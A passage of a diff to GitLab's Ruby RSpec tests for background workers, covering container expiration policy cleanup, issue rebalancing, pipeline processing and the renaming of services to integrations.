@@ -599,8 +473,4 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
expect(worker.logger)
.to receive(:info).with(worker.structured_payload(structure))
end
-
- def loopless_enabled?
- Feature.enabled?(:container_registry_expiration_policies_loopless)
- end
end
diff --git a/spec/workers/container_expiration_policy_worker_spec.rb b/spec/workers/container_expiration_policy_worker_spec.rb
index e8f9a972f10..8562935b0b5 100644
--- a/spec/workers/container_expiration_policy_worker_spec.rb
+++ b/spec/workers/container_expiration_policy_worker_spec.rb
@@ -34,101 +34,18 @@ RSpec.describe ContainerExpirationPolicyWorker do
end
end
- context 'With no container expiration policies' do
- context 'with loopless disabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_loopless: false)
- end
-
- it 'does not execute any policies' do
- expect(ContainerRepository).not_to receive(:for_project_id)
-
- expect { subject }.not_to change { ContainerRepository.cleanup_scheduled.count }
- end
- end
- end
-
context 'with throttling enabled' do
before do
stub_feature_flags(container_registry_expiration_policies_throttling: true)
end
- context 'with loopless disabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_loopless: false)
- end
-
- context 'with container expiration policies' do
- let_it_be(:container_expiration_policy) { create(:container_expiration_policy, :runnable) }
- let_it_be(:container_repository) { create(:container_repository, project: container_expiration_policy.project) }
-
- before do
- expect(worker).to receive(:with_runnable_policy).and_call_original
- end
-
- context 'with a valid container expiration policy' do
- it 'schedules the next run' do
- expect { subject }.to change { container_expiration_policy.reload.next_run_at }
- end
-
- it 'marks the container repository as scheduled for cleanup' do
- expect { subject }.to change { container_repository.reload.cleanup_scheduled? }.from(false).to(true)
- expect(ContainerRepository.cleanup_scheduled.count).to eq(1)
- end
-
- it 'calls the limited capacity worker' do
- expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).to receive(:perform_with_capacity)
-
- subject
- end
- end
-
- context 'with a disabled container expiration policy' do
- before do
- container_expiration_policy.disable!
- end
+ it 'calls the limited capacity worker' do
+ expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).to receive(:perform_with_capacity)
- it 'does not run the policy' do
- expect(ContainerRepository).not_to receive(:for_project_id)
-
- expect { subject }.not_to change { ContainerRepository.cleanup_scheduled.count }
- end
- end
-
- context 'with an invalid container expiration policy' do
- let(:user) { container_expiration_policy.project.owner }
-
- before do
- container_expiration_policy.update_column(:name_regex, '*production')
- end
-
- it 'disables the policy and tracks an error' do
- expect(ContainerRepository).not_to receive(:for_project_id)
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(instance_of(described_class::InvalidPolicyError), container_expiration_policy_id: container_expiration_policy.id)
-
- expect { subject }.to change { container_expiration_policy.reload.enabled }.from(true).to(false)
- expect(ContainerRepository.cleanup_scheduled).to be_empty
- end
- end
- end
-
- it_behaves_like 'handling a taken exclusive lease'
+ subject
end
- context 'with loopless enabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_loopless: true)
- expect(worker).not_to receive(:with_runnable_policy)
- end
-
- it 'calls the limited capacity worker' do
- expect(ContainerExpirationPolicies::CleanupContainerRepositoryWorker).to receive(:perform_with_capacity)
-
- subject
- end
-
- it_behaves_like 'handling a taken exclusive lease'
- end
+ it_behaves_like 'handling a taken exclusive lease'
end
context 'with throttling disabled' do
@@ -193,5 +110,18 @@ RSpec.describe ContainerExpirationPolicyWorker do
end
end
end
+
+ context 'process stale ongoing cleanups' do
+ let_it_be(:stuck_cleanup) { create(:container_repository, :cleanup_ongoing, expiration_policy_started_at: 1.day.ago) }
+ let_it_be(:container_repository) { create(:container_repository, :cleanup_scheduled) }
+ let_it_be(:container_repository) { create(:container_repository, :cleanup_unfinished) }
+
+ it 'set them as unfinished' do
+ expect { subject }
+ .to change { ContainerRepository.cleanup_ongoing.count }.from(1).to(0)
+ .and change { ContainerRepository.cleanup_unfinished.count }.from(1).to(2)
+ expect(stuck_cleanup.reload).to be_cleanup_unfinished
+ end
+ end
end
end
diff --git a/spec/workers/deployments/execute_hooks_worker_spec.rb b/spec/workers/deployments/execute_hooks_worker_spec.rb
deleted file mode 100644
index fb1dc8cf290..00000000000
--- a/spec/workers/deployments/execute_hooks_worker_spec.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Deployments::ExecuteHooksWorker do
- let(:worker) { described_class.new }
-
- describe '#perform' do
- before do
- allow(ProjectServiceWorker).to receive(:perform_async)
- end
-
- it 'executes project services for deployment_hooks' do
- deployment = create(:deployment, :running)
- project = deployment.project
- service = create(:service, type: 'SlackService', project: project, deployment_events: true, active: true)
-
- expect(ProjectServiceWorker).to receive(:perform_async).with(service.id, an_instance_of(Hash))
-
- worker.perform(deployment.id)
- end
-
- it 'does not execute an inactive service' do
- deployment = create(:deployment, :running)
- project = deployment.project
- create(:service, type: 'SlackService', project: project, deployment_events: true, active: false)
-
- expect(ProjectServiceWorker).not_to receive(:perform_async)
-
- worker.perform(deployment.id)
- end
-
- it 'does not execute if a deployment does not exist' do
- expect(ProjectServiceWorker).not_to receive(:perform_async)
-
- worker.perform(non_existing_record_id)
- end
-
- it 'execute webhooks' do
- deployment = create(:deployment, :running)
- project = deployment.project
- web_hook = create(:project_hook, deployment_events: true, project: project)
-
- expect_next_instance_of(WebHookService, web_hook, an_instance_of(Hash), "deployment_hooks") do |service|
- expect(service).to receive(:async_execute)
- end
-
- worker.perform(deployment.id)
- end
- end
-end
diff --git a/spec/workers/every_sidekiq_worker_spec.rb b/spec/workers/every_sidekiq_worker_spec.rb
index de848e59d57..34d42addef3 100644
--- a/spec/workers/every_sidekiq_worker_spec.rb
+++ b/spec/workers/every_sidekiq_worker_spec.rb
@@ -130,6 +130,7 @@ RSpec.describe 'Every Sidekiq worker' do
'AuthorizedProjectUpdate::ProjectGroupLinkCreateWorker' => 3,
'AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker' => 3,
'AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker' => 3,
+ 'AuthorizedProjectUpdate::UserRefreshFromReplicaWorker' => 3,
'AuthorizedProjectsWorker' => 3,
'AutoDevops::DisableWorker' => 3,
'AutoMergeProcessWorker' => 3,
@@ -165,6 +166,7 @@ RSpec.describe 'Every Sidekiq worker' do
'Ci::ResourceGroups::AssignResourceFromResourceGroupWorker' => 3,
'Ci::TestFailureHistoryWorker' => 3,
'Ci::TriggerDownstreamSubscriptionsWorker' => 3,
+ 'Ci::SyncReportsToReportApprovalRulesWorker' => 3,
'CleanupContainerRepositoryWorker' => 3,
'ClusterConfigureIstioWorker' => 3,
'ClusterInstallAppWorker' => 3,
@@ -195,7 +197,6 @@ RSpec.describe 'Every Sidekiq worker' do
'DeleteUserWorker' => 3,
'Deployments::AutoRollbackWorker' => 3,
'Deployments::DropOlderDeploymentsWorker' => 3,
- 'Deployments::ExecuteHooksWorker' => 3,
'Deployments::FinishedWorker' => 3,
'Deployments::ForwardDeploymentWorker' => 3,
'Deployments::LinkMergeRequestWorker' => 3,
@@ -212,7 +213,6 @@ RSpec.describe 'Every Sidekiq worker' do
'ElasticCommitIndexerWorker' => 2,
'ElasticDeleteProjectWorker' => 2,
'ElasticFullIndexWorker' => 2,
- 'ElasticIndexerWorker' => 2,
'ElasticIndexingControlWorker' => 3,
'ElasticNamespaceIndexerWorker' => 2,
'ElasticNamespaceRolloutWorker' => 2,
@@ -307,8 +307,6 @@ RSpec.describe 'Every Sidekiq worker' do
'IncidentManagement::OncallRotations::PersistAllRotationsShiftsJob' => 3,
'IncidentManagement::OncallRotations::PersistShiftsJob' => 3,
'IncidentManagement::PagerDuty::ProcessIncidentWorker' => 3,
- 'IncidentManagement::ProcessAlertWorker' => 3,
- 'IncidentManagement::ProcessPrometheusAlertWorker' => 3,
'InvalidGpgSignatureUpdateWorker' => 3,
'IrkerWorker' => 3,
'IssuableExportCsvWorker' => 3,
@@ -374,7 +372,6 @@ RSpec.describe 'Every Sidekiq worker' do
'PipelineMetricsWorker' => 3,
'PipelineNotificationWorker' => 3,
'PipelineProcessWorker' => 3,
- 'PipelineUpdateWorker' => 3,
'PostReceive' => 3,
'ProcessCommitWorker' => 3,
'ProjectCacheWorker' => 3,
@@ -433,7 +430,6 @@ RSpec.describe 'Every Sidekiq worker' do
'StoreSecurityScansWorker' => 3,
'SyncSeatLinkRequestWorker' => 20,
'SyncSeatLinkWorker' => 12,
- 'SyncSecurityReportsToReportApprovalRulesWorker' => 3,
'SystemHookPushWorker' => 3,
'TodosDestroyer::ConfidentialEpicWorker' => 3,
'TodosDestroyer::ConfidentialIssueWorker' => 3,
diff --git a/spec/workers/expire_pipeline_cache_worker_spec.rb b/spec/workers/expire_pipeline_cache_worker_spec.rb
index de42eeeab75..6a1a95b8052 100644
--- a/spec/workers/expire_pipeline_cache_worker_spec.rb
+++ b/spec/workers/expire_pipeline_cache_worker_spec.rb
@@ -42,8 +42,15 @@ RSpec.describe ExpirePipelineCacheWorker do
subject.perform(617748)
end
- it_behaves_like 'an idempotent worker' do
- let(:job_args) { [pipeline.id] }
+ skip "with https://gitlab.com/gitlab-org/gitlab/-/issues/325291 resolved" do
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [pipeline.id] }
+ end
end
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ feature_flag: :load_balancing_for_expire_pipeline_cache_worker,
+ data_consistency: :delayed
end
end
diff --git a/spec/workers/git_garbage_collect_worker_spec.rb b/spec/workers/git_garbage_collect_worker_spec.rb
deleted file mode 100644
index 3df64c35166..00000000000
--- a/spec/workers/git_garbage_collect_worker_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-require 'fileutils'
-
-require 'spec_helper'
-
-RSpec.describe GitGarbageCollectWorker do
- let_it_be(:project) { create(:project, :repository) }
-
- let(:lease_uuid) { SecureRandom.uuid }
- let(:lease_key) { "project_housekeeping:#{project.id}" }
- let(:task) { :full_repack }
- let(:params) { [project.id, task, lease_key, lease_uuid] }
-
- subject { described_class.new }
-
- describe "#perform" do
- it 'calls the Projects::GitGarbageGitGarbageCollectWorker with the same params' do
- expect_next_instance_of(Projects::GitGarbageCollectWorker) do |instance|
- expect(instance).to receive(:perform).with(*params)
- end
-
- subject.perform(*params)
- end
- end
-end
diff --git a/spec/workers/incident_management/process_alert_worker_spec.rb b/spec/workers/incident_management/process_alert_worker_spec.rb
deleted file mode 100644
index 7db9b191677..00000000000
--- a/spec/workers/incident_management/process_alert_worker_spec.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe IncidentManagement::ProcessAlertWorker do
- let_it_be(:project) { create(:project) }
- let_it_be(:settings) { create(:project_incident_management_setting, project: project, create_issue: true) }
-
- describe '#perform' do
- let_it_be(:started_at) { Time.now.rfc3339 }
- let_it_be(:payload) { { 'title' => 'title', 'start_time' => started_at } }
- let_it_be(:alert) { create(:alert_management_alert, project: project, payload: payload, started_at: started_at) }
-
- let(:created_issue) { Issue.last! }
-
- subject { described_class.new.perform(nil, nil, alert.id) }
-
- before do
- allow(Gitlab::AppLogger).to receive(:warn).and_call_original
-
- allow(AlertManagement::CreateAlertIssueService)
- .to receive(:new).with(alert, User.alert_bot)
- .and_call_original
- end
-
- shared_examples 'creates issue successfully' do
- it 'creates an issue' do
- expect(AlertManagement::CreateAlertIssueService)
- .to receive(:new).with(alert, User.alert_bot)
-
- expect { subject }.to change { Issue.count }.by(1)
- end
-
- it 'updates AlertManagement::Alert#issue_id' do
- subject
-
- expect(alert.reload.issue_id).to eq(created_issue.id)
- end
-
- it 'does not write a warning to log' do
- subject
-
- expect(Gitlab::AppLogger).not_to have_received(:warn)
- end
- end
-
- context 'with valid alert' do
- it_behaves_like 'creates issue successfully'
-
- context 'when alert cannot be updated' do
- let_it_be(:alert) { create(:alert_management_alert, :with_validation_errors, project: project, payload: payload) }
-
- it 'updates AlertManagement::Alert#issue_id' do
- expect { subject }.not_to change { alert.reload.issue_id }
- end
-
- it 'logs a warning' do
- subject
-
- expect(Gitlab::AppLogger).to have_received(:warn).with(
- message: 'Cannot process an Incident',
- issue_id: created_issue.id,
- alert_id: alert.id,
- errors: 'Hosts hosts array is over 255 chars'
- )
- end
- end
-
- context 'prometheus alert' do
- let_it_be(:alert) { create(:alert_management_alert, :prometheus, project: project, started_at: started_at) }
-
- it_behaves_like 'creates issue successfully'
- end
- end
-
- context 'with invalid alert' do
- let(:invalid_alert_id) { non_existing_record_id }
-
- subject { described_class.new.perform(nil, nil, invalid_alert_id) }
-
- it 'does not create issues' do
- expect(AlertManagement::CreateAlertIssueService).not_to receive(:new)
-
- expect { subject }.not_to change { Issue.count }
- end
- end
- end
-end
diff --git a/spec/workers/incident_management/process_prometheus_alert_worker_spec.rb b/spec/workers/incident_management/process_prometheus_alert_worker_spec.rb
deleted file mode 100644
index 56f07459a15..00000000000
--- a/spec/workers/incident_management/process_prometheus_alert_worker_spec.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe IncidentManagement::ProcessPrometheusAlertWorker do
- describe '#perform' do
- let_it_be(:project) { create(:project) }
- let_it_be(:prometheus_alert) { create(:prometheus_alert, project: project) }
-
- let(:payload_key) { Gitlab::AlertManagement::Payload::Prometheus.new(project: project, payload: alert_params).gitlab_fingerprint }
- let!(:prometheus_alert_event) { create(:prometheus_alert_event, prometheus_alert: prometheus_alert, payload_key: payload_key) }
- let!(:settings) { create(:project_incident_management_setting, project: project, create_issue: true) }
-
- let(:alert_params) do
- {
- startsAt: prometheus_alert.created_at.rfc3339,
- labels: {
- gitlab_alert_id: prometheus_alert.prometheus_metric_id
- }
- }.with_indifferent_access
- end
-
- it 'does nothing' do
- expect { subject.perform(project.id, alert_params) }
- .not_to change(Issue, :count)
- end
- end
-end
diff --git a/spec/workers/issue_placement_worker_spec.rb b/spec/workers/issue_placement_worker_spec.rb
index e0c17bfadee..780790dbb1b 100644
--- a/spec/workers/issue_placement_worker_spec.rb
+++ b/spec/workers/issue_placement_worker_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe IssuePlacementWorker do
it 'schedules rebalancing if needed' do
issue_a.update!(relative_position: RelativePositioning::MAX_POSITION)
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
run_worker
end
@@ -101,7 +101,7 @@ RSpec.describe IssuePlacementWorker do
it 'anticipates the failure to place the issues, and schedules rebalancing' do
allow(Issue).to receive(:move_nulls_to_end) { raise RelativePositioning::NoSpaceLeft }
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, nil, project.group.id)
expect(Gitlab::ErrorTracking)
.to receive(:log_exception)
.with(RelativePositioning::NoSpaceLeft, worker_arguments)
diff --git a/spec/workers/issue_rebalancing_worker_spec.rb b/spec/workers/issue_rebalancing_worker_spec.rb
index e5c6ac3f854..b6e9429d78e 100644
--- a/spec/workers/issue_rebalancing_worker_spec.rb
+++ b/spec/workers/issue_rebalancing_worker_spec.rb
@@ -20,34 +20,83 @@ RSpec.describe IssueRebalancingWorker do
end
end
- it 'runs an instance of IssueRebalancingService' do
- service = double(execute: nil)
- expect(IssueRebalancingService).to receive(:new).with(issue).and_return(service)
+ shared_examples 'running the worker' do
+ it 'runs an instance of IssueRebalancingService' do
+ service = double(execute: nil)
+ service_param = arguments.second.present? ? kind_of(Project.id_in([project]).class) : kind_of(group&.all_projects.class)
- described_class.new.perform(nil, issue.project_id)
+ expect(IssueRebalancingService).to receive(:new).with(service_param).and_return(service)
+
+ described_class.new.perform(*arguments)
+ end
+
+ it 'anticipates there being too many issues' do
+ service = double
+ service_param = arguments.second.present? ? kind_of(Project.id_in([project]).class) : kind_of(group&.all_projects.class)
+
+ allow(service).to receive(:execute).and_raise(IssueRebalancingService::TooManyIssues)
+ expect(IssueRebalancingService).to receive(:new).with(service_param).and_return(service)
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(IssueRebalancingService::TooManyIssues, include(project_id: arguments.second, root_namespace_id: arguments.third))
+
+ described_class.new.perform(*arguments)
+ end
+
+ it 'takes no action if the value is nil' do
+ expect(IssueRebalancingService).not_to receive(:new)
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ described_class.new.perform # all arguments are nil
+ end
end
- it 'anticipates the inability to find the issue' do
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(ActiveRecord::RecordNotFound, include(project_id: -1))
- expect(IssueRebalancingService).not_to receive(:new)
+ shared_examples 'safely handles non-existent ids' do
+ it 'anticipates the inability to find the issue' do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(ArgumentError, include(project_id: arguments.second, root_namespace_id: arguments.third))
+ expect(IssueRebalancingService).not_to receive(:new)
- described_class.new.perform(nil, -1)
+ described_class.new.perform(*arguments)
+ end
end
- it 'anticipates there being too many issues' do
- service = double
- allow(service).to receive(:execute) { raise IssueRebalancingService::TooManyIssues }
- expect(IssueRebalancingService).to receive(:new).with(issue).and_return(service)
- expect(Gitlab::ErrorTracking).to receive(:log_exception).with(IssueRebalancingService::TooManyIssues, include(project_id: issue.project_id))
+ context 'without root_namespace param' do
+ it_behaves_like 'running the worker' do
+ let(:arguments) { [-1, project.id] }
+ end
+
+ it_behaves_like 'safely handles non-existent ids' do
+ let(:arguments) { [nil, -1] }
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [-1, project.id] }
+ end
- described_class.new.perform(nil, issue.project_id)
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [nil, -1] }
+ end
end
- it 'takes no action if the value is nil' do
- expect(IssueRebalancingService).not_to receive(:new)
- expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+ context 'with root_namespace param' do
+ it_behaves_like 'running the worker' do
+ let(:arguments) { [nil, nil, group.id] }
+ end
- described_class.new.perform(nil, nil)
+ it_behaves_like 'safely handles non-existent ids' do
+ let(:arguments) { [nil, nil, -1] }
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [nil, nil, group.id] }
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [nil, nil, -1] }
+ end
end
end
+
+ it 'has the `until_executed` deduplicate strategy' do
+ expect(described_class.get_deduplicate_strategy).to eq(:until_executed)
+ expect(described_class.get_deduplication_options).to include({ including_scheduled: true })
+ end
end
diff --git a/spec/workers/merge_requests/assignees_change_worker_spec.rb b/spec/workers/merge_requests/assignees_change_worker_spec.rb
deleted file mode 100644
index 33478daf8d3..00000000000
--- a/spec/workers/merge_requests/assignees_change_worker_spec.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe MergeRequests::AssigneesChangeWorker do
- include AfterNextHelpers
-
- let_it_be(:merge_request) { create(:merge_request) }
- let_it_be(:user) { create(:user) }
- let_it_be(:old_assignees) { create_list(:user, 3) }
-
- let(:user_ids) { old_assignees.map(&:id).to_a }
- let(:worker) { described_class.new }
-
- it_behaves_like 'an idempotent worker' do
- let(:job_args) { [merge_request.id, user.id, user_ids] }
- end
-
- describe '#perform' do
- context 'with a non-existing merge request' do
- it 'does nothing' do
- expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
-
- worker.perform(non_existing_record_id, user.id, user_ids)
- end
- end
-
- context 'with a non-existing user' do
- it 'does nothing' do
- expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
-
- worker.perform(merge_request.id, non_existing_record_id, user_ids)
- end
- end
-
- context 'when there are no changes' do
- it 'does nothing' do
- expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
-
- worker.perform(merge_request.id, user.id, merge_request.assignee_ids)
- end
- end
-
- context 'when the old users cannot be found' do
- it 'does nothing' do
- expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
-
- worker.perform(merge_request.id, user.id, [non_existing_record_id])
- end
- end
-
- it 'gets MergeRequests::UpdateAssigneesService to handle the changes' do
- expect_next(::MergeRequests::HandleAssigneesChangeService)
- .to receive(:execute).with(merge_request, match_array(old_assignees), execute_hooks: true)
-
- worker.perform(merge_request.id, user.id, user_ids)
- end
- end
-end
diff --git a/spec/workers/packages/debian/generate_distribution_worker_spec.rb b/spec/workers/packages/debian/generate_distribution_worker_spec.rb
new file mode 100644
index 00000000000..a8751ccceae
--- /dev/null
+++ b/spec/workers/packages/debian/generate_distribution_worker_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Debian::GenerateDistributionWorker, type: :worker do
+ describe '#perform' do
+ let(:container_type) { distribution.container_type }
+ let(:distribution_id) { distribution.id }
+
+ subject { described_class.new.perform(container_type, distribution_id) }
+
+ include_context 'with published Debian package'
+
+ [:project, :group].each do |container_type|
+ context "for #{container_type}" do
+ include_context 'with Debian distribution', container_type
+
+ context 'with mocked service' do
+ it 'calls GenerateDistributionService' do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+ expect_next_instance_of(::Packages::Debian::GenerateDistributionService) do |service|
+ expect(service).to receive(:execute)
+ .with(no_args)
+ end
+
+ subject
+ end
+ end
+
+ context 'with non existing distribution id' do
+ let(:distribution_id) { non_existing_record_id }
+
+ it 'returns early without error' do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+ expect(::Packages::Debian::GenerateDistributionService).not_to receive(:new)
+
+ subject
+ end
+ end
+
+ context 'with nil distribution id' do
+ let(:distribution_id) { nil }
+
+ it 'returns early without error' do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+ expect(::Packages::Debian::GenerateDistributionService).not_to receive(:new)
+
+ subject
+ end
+ end
+
+ context 'with valid parameters' do
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [container_type, distribution_id] }
+
+ it_behaves_like 'Generate Debian Distribution and component files'
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/workers/pipeline_hooks_worker_spec.rb b/spec/workers/pipeline_hooks_worker_spec.rb
index 7c75cdc8823..5957b355c8e 100644
--- a/spec/workers/pipeline_hooks_worker_spec.rb
+++ b/spec/workers/pipeline_hooks_worker_spec.rb
@@ -22,4 +22,9 @@ RSpec.describe PipelineHooksWorker do
end
end
end
+
+ it_behaves_like 'worker with data consistency',
+ described_class,
+ feature_flag: :load_balancing_for_pipeline_hooks_worker,
+ data_consistency: :delayed
end
diff --git a/spec/workers/pipeline_process_worker_spec.rb b/spec/workers/pipeline_process_worker_spec.rb
index 0c1db3ccc5a..f8140d11f2e 100644
--- a/spec/workers/pipeline_process_worker_spec.rb
+++ b/spec/workers/pipeline_process_worker_spec.rb
@@ -3,10 +3,44 @@
require 'spec_helper'
RSpec.describe PipelineProcessWorker do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
+ include_examples 'an idempotent worker' do
+ let(:pipeline) { create(:ci_pipeline, :created) }
+ let(:job_args) { [pipeline.id] }
+
+ before do
+ create(:ci_build, :created, pipeline: pipeline)
+ end
+
+ it 'processes the pipeline' do
+ expect(pipeline.status).to eq('created')
+ expect(pipeline.processables.pluck(:status)).to contain_exactly('created')
+
+ subject
+
+ expect(pipeline.reload.status).to eq('pending')
+ expect(pipeline.processables.pluck(:status)).to contain_exactly('pending')
+
+ subject
+
+ expect(pipeline.reload.status).to eq('pending')
+ expect(pipeline.processables.pluck(:status)).to contain_exactly('pending')
+ end
+ end
+
+ context 'when the FF ci_idempotent_pipeline_process_worker is disabled' do
+ before do
+ stub_feature_flags(ci_idempotent_pipeline_process_worker: false)
+ end
+
+ it 'is not deduplicated' do
+ expect(described_class).not_to be_deduplication_enabled
+ end
+ end
+
describe '#perform' do
context 'when pipeline exists' do
- let(:pipeline) { create(:ci_pipeline) }
-
it 'processes pipeline' do
expect_any_instance_of(Ci::ProcessPipelineService).to receive(:execute)
@@ -16,14 +50,9 @@ RSpec.describe PipelineProcessWorker do
context 'when pipeline does not exist' do
it 'does not raise exception' do
- expect { described_class.new.perform(123) }
+ expect { described_class.new.perform(non_existing_record_id) }
.not_to raise_error
end
end
-
- it_behaves_like 'worker with data consistency',
- described_class,
- feature_flag: :load_balancing_for_pipeline_process_worker,
- data_consistency: :delayed
end
end
diff --git a/spec/workers/post_receive_spec.rb b/spec/workers/post_receive_spec.rb
index a468c8c3482..4d3cc447d9b 100644
--- a/spec/workers/post_receive_spec.rb
+++ b/spec/workers/post_receive_spec.rb
@@ -375,7 +375,7 @@ RSpec.describe PostReceive do
it 'asks the project to trigger all hooks' do
create(:project_hook, push_events: true, tag_push_events: true, project: project)
- create(:custom_issue_tracker_service, push_events: true, merge_requests_events: false, project: project)
+ create(:custom_issue_tracker_integration, push_events: true, merge_requests_events: false, project: project)
allow(Project).to receive(:find_by).and_return(project)
expect(project).to receive(:execute_hooks).twice
diff --git a/spec/workers/process_commit_worker_spec.rb b/spec/workers/process_commit_worker_spec.rb
index 294a05c652b..3df26c774ba 100644
--- a/spec/workers/process_commit_worker_spec.rb
+++ b/spec/workers/process_commit_worker_spec.rb
@@ -138,7 +138,7 @@ RSpec.describe ProcessCommitWorker do
end
end
- describe '#update_issue_metrics' do
+ describe '#update_issue_metrics', :clean_gitlab_redis_cache do
context 'when commit has issue reference' do
subject(:update_metrics_and_reload) do
-> {
diff --git a/spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb b/spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb
deleted file mode 100644
index f284e1ab8c6..00000000000
--- a/spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ProjectScheduleBulkRepositoryShardMovesWorker do
- it_behaves_like 'schedules bulk repository shard moves' do
- let_it_be_with_reload(:container) { create(:project, :repository).tap { |project| project.track_project_repository } }
-
- let(:move_service_klass) { Projects::RepositoryStorageMove }
- let(:worker_klass) { Projects::UpdateRepositoryStorageWorker }
- end
-end
diff --git a/spec/workers/project_service_worker_spec.rb b/spec/workers/project_service_worker_spec.rb
index 237f501e0ec..9383e7ec5c4 100644
--- a/spec/workers/project_service_worker_spec.rb
+++ b/spec/workers/project_service_worker_spec.rb
@@ -3,7 +3,7 @@ require 'spec_helper'
RSpec.describe ProjectServiceWorker, '#perform' do
let(:worker) { described_class.new }
- let(:service) { JiraService.new }
+ let(:service) { Integrations::Jira.new }
before do
allow(Integration).to receive(:find).and_return(service)
diff --git a/spec/workers/project_update_repository_storage_worker_spec.rb b/spec/workers/project_update_repository_storage_worker_spec.rb
deleted file mode 100644
index 6924e8a93a3..00000000000
--- a/spec/workers/project_update_repository_storage_worker_spec.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ProjectUpdateRepositoryStorageWorker do
- subject { described_class.new }
-
- it_behaves_like 'an update storage move worker' do
- let_it_be_with_refind(:container) { create(:project, :repository) }
- let_it_be(:repository_storage_move) { create(:project_repository_storage_move) }
-
- let(:service_klass) { Projects::UpdateRepositoryStorageService }
- let(:repository_storage_move_klass) { Projects::RepositoryStorageMove }
- end
-end
diff --git a/spec/workers/projects/post_creation_worker_spec.rb b/spec/workers/projects/post_creation_worker_spec.rb
index c2f42f03299..50c21575878 100644
--- a/spec/workers/projects/post_creation_worker_spec.rb
+++ b/spec/workers/projects/post_creation_worker_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe Projects::PostCreationWorker do
end
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
it 'creates PrometheusService record', :aggregate_failures do
@@ -50,7 +50,7 @@ RSpec.describe Projects::PostCreationWorker do
let(:cluster) { create(:cluster, :instance) }
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
end
it 'creates PrometheusService record', :aggregate_failures do
diff --git a/spec/workers/projects/schedule_bulk_repository_shard_moves_worker_spec.rb b/spec/workers/projects/schedule_bulk_repository_shard_moves_worker_spec.rb
index 24957a35b72..7eff8e4dcd7 100644
--- a/spec/workers/projects/schedule_bulk_repository_shard_moves_worker_spec.rb
+++ b/spec/workers/projects/schedule_bulk_repository_shard_moves_worker_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Projects::ScheduleBulkRepositoryShardMovesWorker do
it_behaves_like 'schedules bulk repository shard moves' do
- let_it_be_with_reload(:container) { create(:project, :repository).tap { |project| project.track_project_repository } }
+ let_it_be_with_reload(:container) { create(:project, :repository) }
let(:move_service_klass) { Projects::RepositoryStorageMove }
let(:worker_klass) { Projects::UpdateRepositoryStorageWorker }
diff --git a/spec/workers/propagate_integration_inherit_worker_spec.rb b/spec/workers/propagate_integration_inherit_worker_spec.rb
index 39219eaa3b5..2b4f241f755 100644
--- a/spec/workers/propagate_integration_inherit_worker_spec.rb
+++ b/spec/workers/propagate_integration_inherit_worker_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe PropagateIntegrationInheritWorker do
describe '#perform' do
let_it_be(:integration) { create(:redmine_service, :instance) }
let_it_be(:integration1) { create(:redmine_service, inherit_from_id: integration.id) }
- let_it_be(:integration2) { create(:bugzilla_service, inherit_from_id: integration.id) }
+ let_it_be(:integration2) { create(:bugzilla_integration, inherit_from_id: integration.id) }
let_it_be(:integration3) { create(:redmine_service) }
it_behaves_like 'an idempotent worker' do
diff --git a/spec/workers/propagate_integration_worker_spec.rb b/spec/workers/propagate_integration_worker_spec.rb
